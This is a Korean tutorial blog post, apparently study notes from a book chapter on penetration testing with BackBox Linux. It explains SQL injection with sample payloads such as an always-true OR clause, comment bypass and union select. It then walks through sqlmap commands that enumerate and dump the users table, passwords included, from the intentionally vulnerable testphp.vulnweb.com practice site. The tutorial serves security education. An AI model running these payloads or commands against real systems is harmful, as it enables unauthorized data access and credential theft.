백박스 리눅스를 활용한 모의 침투 — 7장(2)

Choijungeun
Quantum Ant
Published in
10 min readSep 3, 2019

7장 SQL 삽입 공격 원리와 실습(2)

책 사진

INDEX

  1. SQL 삽입 공격 원리
  2. SQL 삽입 공격 실습

1.SQL 삽입 공격 원리

[그림7(2)-1]

SELECT * FROM injection WHERE user = ‘tiger’ and passwords = ‘1234’;

WHERE 조건절을 이용하면 해당 조건에 해당하는 데이터들만 출력이 된다.

위 명령어의 경우 user가 tiger이고 passwords가 1234인 데이터들만 출력하라는 의미이다.

그렇게 때문에 [그림7(2)-1]처럼 user=’tiger’와 passwords=’1234’가 모두 참인 조건을 만족하는 데이터가 출력되는 것이다.

왜 갑자기 WHERE절을 사용하여 데이터를 출력해보았을까?

그 이유는 뒤에서 알게 되겠지만 WHERE 조건절에서 사용하는 논리식으로 인해 SQL 삽입 공격이 발생하기 때문이다.

[그림7(2)-2]

SELECT * FROM injection WHERE user = ‘tiger’ and passwords = ‘1234’ or ‘10’ = ‘10’;

[그림 7(2)–2]에서 사용했던 명령어에 or ‘10’ = ‘10’을 추가할 경우, 조건절을 이용했음에도 모든 데이터가 출력된다.

조건절에 사용된 논리문은

(user = ‘tiger’ and passwords = ‘1234’) OR (‘10’=’10’) 라고도 볼 수 있다.

여기서 OR 논리식은 둘 중 하나라도 참이면 인 값이 도출된다.

즉, 앞에 문장이 거짓이라도 ‘10’=’10’은 항상이기 때문에 OR 논리식으로 인해 결과 값이 항상 참이 되고 그로 인해 전체 데이터가 출력된다.

이 원리가 바로 SQL 삽입 공격의 원리이다.

비슷한 예를 한가지 더 살펴볼 것이다.

[그림7(2)-3]

SELECT * FROM injectiont WHERE user=’root’ or ‘10’=’10’;# and password = ‘1234’;

여기서 #는 MY-SQL에서 사용하는 주석 기호이다.

이는 and 앞에 #를 추가함으로써 password 부분을 주석처리하여 의미가 없게 만들어 준다.

위 명령어 역시 ‘10’=’10’은 항상 참이고 OR 논리식을 사용했기에 조건문은 늘 참이 되고, 항상 전체 데이터가 출력된다.

[그림7(2)-4]

SELECT * FROM injectiont WHERE user = ‘’ union select ‘1’, ‘root’, ‘4321’;

union 연산자는 둘 이상의 select 문 결과를 단일 결과 집합으로 결합할 수 있는 속성이 있다.

위 명령어는 union select를 사용하여 injectiont 테이블 형태로 num이 1이고 user가 root, passwords가 ‘4321’인 값을 출력할 수 있게 해준다.

2.SQL 삽입 공격 실습

SQL 삽입 공격을 실습하기 위해 SQLMap이라는 도구를 사용할 것이다.

SQLMap이란?

파이썬 언어로 작성된 SQL 삽입 취약점 침투 도구 이다.

무차별 대입 침투 도구 중 하나이기도 하다.

[그림7(2)-5]

sqlmap -hh 명령어를 입력하면 도구의 도움말을 확인할 수 있다.

SQLMap은 블라인드(Blind) SQL 삽입 침투 도구이다.

블라인드(Bline) SQL 삽입 공격은 공격자가 SQL 오류 구문 등을 보지 못할 때 사용한다.

또한 블라인드 SQL 삽입 공격은 질의어가 참일 때와 거짓일 때의 서버 반응 등으로 데이터를 얻어내는 기법이기도 하다.

이제 우리는 실습을 위하여 testphp.vulnweb.com 사이트에 접속해 볼 것이다.

[그림7(2)-6]

위 사이트 주소를 클릭하거나 검색하면 다음과 같은 화면이 나올 것이다.

[그림7(2)-7]

[그림7(2)-7]처럼 Category를 선택하면 여러 목록이 나온다.

그 중 Paintings를 선택한다면,

[그림7(2)-8]

이때의 주소가 testphp.vulnweb.com/listproducts.php?cat=2 임을 알 수 있다.

그중 listproducts.php?cat=2을 매개 변수(Parameter)라고 한다.

매개 변수는 SQLMap 도구에서 꼭 필요한 것이다.

만일 매개변수를 확인할 수 없다면, 와이어샤크 등으로 확인가능한 쿠키 정보 등을 매개 변수로 대신 활용할 수 있다.

그럼 이제 위 사이트에서 확인한 매개 변수를 사용해 실습해 볼 것이다.

[그림7(2)-9]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2” 명령어를 입력하면

[그림7(2)-10,11]

[그림7(2)-10,11] 에서 볼 수 있듯이 총 3가지 질문이 나오는데, 첫번째 질문에는 y, 나머지 질문들은 n이라고 답하면 된다.

[그림7(2)-12]

약간의 시간이 흐르면 [그림7(2)-12]와 같은 결과를 확인할 수 있다.

위 결과를 통해 우리는 웹 서버에서 사용하는 DBMS 정보 등을 확인 할 수 있다.

여기서 DBMS란?

Data Base Management System의 약자로 데이터를 효과적으로 이용할 수 있도록 정리, 보관하기 위한 기본 소프트웨어이다.

그리고 이 정보를 확인 할 수 있다는 것은 블라인드 SQL 삽입 공격이 가능하다는 증거이기도 하다.

[그림7(2)-13]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2” --wizard

— wizard 플래그를 사용하면 웹 서버에서 사용하는 운영 체제 정보 등을 확인할 수 있다.

[그림7(2)-14]

[그림7(2)-13] 명령어를 입력하면

POST data ( — data) [Enter for None]:

라는 질문이 나오는데 그냥 Enter를 치면 된다.

그 뒤로 나오는 두 개의 객관식에서는 모두 1을 입력한다.

[그림7(2)-15]

이것도 약간의 시간이 흐르면 [그림7(2)-15]와 같은 결과를 볼 수 있다.

[그림7(2)-16]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”--dbs

[그림7(2)-17]

— dbs 플래그를 사용하면[그림7(2)-17] 같이 acuart 데이터 베이스와 information_schema 데이터베이스 2가지를 확인할 수 있다.

[그림7(2)-18]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”--dbs — users

[그림7(2)-19]

— dbs –-users 플래그는 acuart@localhost 정보를 확인할 수 있다.

[그림7(2)-20]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”-D acuart — tables

[그림7(2)-21]

-D acuart –tables 플래그는 acuart 데이터베이스에 속한 테이블 목록을 확인할 수 있다.

[그림7(2)-22]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”-D acuart -T users — columns

[그림7(2)-23]

-D acuart -T users –columns 플래그는 users 테이블의 구조를 확인할 수 있다.

여기서 주목해야 할 것은 pass 칼럼이다. 이는 비밀번호와 관련이 있기 때문이다.

[그림7(2)-24]

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”-D acuart -T users — columns — dump 명령어를 입력하고 나면 3가지 질문이 나온다.

[그림7(2)-25]

[그림7(2)-25]처럼 첫 번째 질문에는 n, 다음 질문에는 y, 객관식은 그냥 Enter를 친다. 마지막 질문에는 n을 입력한다.

[그림7(2)-26]

-D acuart -T users –columns –dump 플래그는 무차별 대입 공격을 수행한 후에 결과를 보여준다.

[그림7(2)-27]

중요한 정보들만 표로 나타내면 [그림7(2)-27]과 같다.

이를 통해 SQL 삽입 취약점을 통해 정보가 공격자에게 보여질 수 있다는 것을 확인할 수 있었다.

마치며

이번 시간에는 저번 시간에 배웠던 SQL삽입공격을 실습해보는 시간을 가졌습니다. 실습 내용을 잘 따라하셨다면 큰 문제 없이 잘 해내셨을 것 입니다.

다음 시간에는 “BeEF 도구를 이용한 XSS 공격의 이해”에 대해 글을 올릴 것입니다.

[WARNING]

공부한 내용을 정리하는 글이라서 틀린 내용이 있을 수도 있습니다. 잘못된 내용이 있다면 망설이지 마시고 알려주세요!

읽어주셔서 감사합니다 :)

--

--